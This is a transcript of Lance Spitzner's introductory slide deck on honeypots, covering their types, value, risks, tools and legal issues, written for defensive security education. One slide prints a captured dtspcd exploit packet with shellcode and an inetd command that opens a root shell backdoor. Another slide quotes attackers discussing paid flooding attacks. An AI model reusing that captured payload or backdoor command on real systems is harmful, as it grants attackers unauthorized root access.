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Honeypots

Honeypots. Your Speaker. Lance Spitzner Senior Security Architect, Sun Microsystems Founder of the Honeynet Project Author of Honeypots: Tracking Hackers Co-author of Know Your Enemy Moderator of <honeypots@securityfocus.com> maillist Former ‘tread head’. Purpose.

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Honeypots

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  1. Honeypots

  2. Your Speaker Lance Spitzner • Senior Security Architect, Sun Microsystems • Founder of the Honeynet Project • Author of Honeypots: Tracking Hackers • Co-author of Know Your Enemy • Moderator of <honeypots@securityfocus.com> maillist • Former ‘tread head’.

  3. Purpose To introduce you to honeypots, what they are, how they work, their value.

  4. Problem • Variety of misconceptions about honeypots, everyone has their own definition. • This confusion has caused lack of understanding, and adoption.

  5. Honeypot Timeline • 1990/1991 The Cuckoo’s Egg and Evening with Berferd • 1997 - Deception Toolkit • 1998 - CyberCop Sting • 1998 - NetFacade (and Snort) • 1998 - BackOfficer Friendly • 1999 - Formation of the Honeynet Project • 2001 - Worms captured • 2002 - dtspcd exploit capture

  6. Definition Any security resource who’s value lies in being probed, attacked, or compromised

  7. How honeypots work • Simple concept • A resource that expects no data, so any traffic to or from it is most likely unauthorized activity

  8. Not limited to specific purpose • Honeypots do not solve a specific problem, instead they are a tool that contribute to your overall security architecture. • Their value, and the problems they help solve, depend on how build, deploy, and you use them.

  9. Types • Production (Law Enforcment) • Research (Counter-Intelligence) Marty’s idea

  10. Value • What is the value of honeypots? • One of the greatest areas of confusion concerning honeypot technologies.

  11. Advantages • Based on how honeypots conceptually work, they have several advantages. • Reduce False Positives and False Negatives • Data Value • Resources • Simplicity

  12. Disadvantages • Based on the concept of honeypots, they also have disadvantages: • Narrow Field of View • Fingerprinting • Risk

  13. Production • Prevention • Detection • Response

  14. Prevention • Keeping the burglar out of your house. • Honeypots, in general are not effective prevention mechanisms. • Deception, Deterence, Decoys, are phsychological weapons. They do NOT work against automated attacks: • worms • auto-rooters • mass-rooters

  15. Detection • Detecting the burglar when he breaks in. • Honeypots excel at this capability, due to their advantages.

  16. Response • Honeypots can be used to help respond to an incident. • Can easily be pulled offline (unlike production systems. • Little to no data pollution.

  17. Research Honeypots • Early Warning and Prediction • Discover new Tools and Tactics • Understand Motives, Behavior, and Organization • Develop Analysis and Forensic Skills

  18. Early Warning and Prediction

  19. Tools 01/08-08:46:04.378306 10.10.10.1:3592 -> 10.10.10.2:6112 TCP TTL:48 TOS:0x0 ID:41388 IpLen:20 DgmLen:1500 DF ***AP*** Seq: 0xFEE2C115 Ack: 0x5F66192F Win: 0x3EBC TcpLen: 32 TCP Options (3) => NOP NOP TS: 463986683 4158792 30 30 30 30 30 30 30 32 30 34 31 30 33 65 30 30 0000000204103e00 30 31 20 20 34 20 00 00 00 31 30 00 80 1C 40 11 01 4 ...10...@. 80 1C 40 11 10 80 01 01 80 1C 40 11 80 1C 40 11 ..@.......@...@. 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 ..@...@...@...@. D0 23 FF E0 E2 23 FF E4 E4 23 FF E8 C0 23 FF EC .#...#...#...#.. 82 10 20 0B 91 D0 20 08 2F 62 69 6E 2F 6B 73 68 .. ... ./bin/ksh 20 20 20 20 2D 63 20 20 65 63 68 6F 20 22 69 6E -c echo "in 67 72 65 73 6C 6F 63 6B 20 73 74 72 65 61 6D 20 greslock stream 74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root 2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 22 3E 2F /bin/sh sh -i">/ 74 6D 70 2F 78 3B 2F 75 73 72 2F 73 62 69 6E 2F tmp/x;/usr/sbin/ 69 6E 65 74 64 20 2D 73 20 2F 74 6D 70 2F 78 3B inetd -s /tmp/x; 73 6C 65 65 70 20 31 30 3B 2F 62 69 6E 2F 72 6D sleep 10;/bin/rm 20 2D 66 20 2F 74 6D 70 2F 78 20 41 41 41 41 41 -f /tmp/x AAAAA 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

  20. Tactics

  21. Motives and Behavior J4ck: why don't you start charging for packet attacks? J4ck: "give me x amount and I'll take bla bla offline for this amount of time" J1LL: it was illegal last I checked. J4ck: heh, then everything you do is illegal. Why not make money off of it? J4ck:I know plenty of people that'd pay exorbatent amounts for packeting.

  22. Level of Interaction • Level of Interaction determines amount of functionality a honeypot provides. • The greater the interaction, the more you can learn. • The greater the interaction, the more complexity and risk.

  23. Risk • Chance that an attacker can use your honeypot to harm, attack, or infiltrate other systems or organizations.

  24. Low Interaction • Provide Emulated Services • No operating system for attacker to access. • Information limited to transactional information and attackers activities with emulated services.

  25. High Interaction • Provide Actual Operating Systems • Learn extensive amounts of information. • Extensive risk.

  26. Honeypots Low Interaction • BackOfficer Friendly • http://www.nfr.com/products/bof/ • SPECTER • http://www.specter.com • Honeyd • http://www.citi.umich.edu/u/provos/honeyd/ • ManTrap • http://www.recourse.com • Honeynets • http://project.honeynet.org/papers/honeynet/ High Interaction

  27. BackOfficer Friendly

  28. Specter

  29. Honeyd create default set default personality "FreeBSD 2.2.1-STABLE" set default default action open add default tcp port 80 "sh /usr/local/honeyd/scripts/web.sh" add default tcp port 22 "sh /usr/local/honeyd/scripts/test.sh" add default tcp port 113 reset add default tcp port 1 reset create windows set windows personality "Windows NT 4.0 Server SP5-SP6" set windows default action reset add windows tcp port 80 "sh /usr/local/honeyd/scripts/web.sh" add windows tcp port 25 block add windows tcp port 23 proxy real-server.tracking-hackers.com:23 add windows tcp port 22 proxy $ipsrc:22 set template uptime 3284460 bind 192.168.1.200 windows

  30. ManTrap

  31. Honeynets

  32. Which is best? None, they all have their advantages and disadvantages. It depends on what you are attempting to achieve.

  33. Legal Issues • Privacy • Entrapment • Liability

  34. Legal Contact for .mil / .gov Department of Justice, Computer Crime and Intellectual Property Section • General Number: (202) 514-1026 • Specific Contact: Richard Salgado • Direct Telephone (202) 353-7848 • E-Mai: richard.salgado@usdoj.gov

  35. Summary Honeypos are a highly flexible security tool that can be used in a variety of different deployments.

  36. Resources Honeypots: Tracking Hackers http://www.tracking-hackers.com

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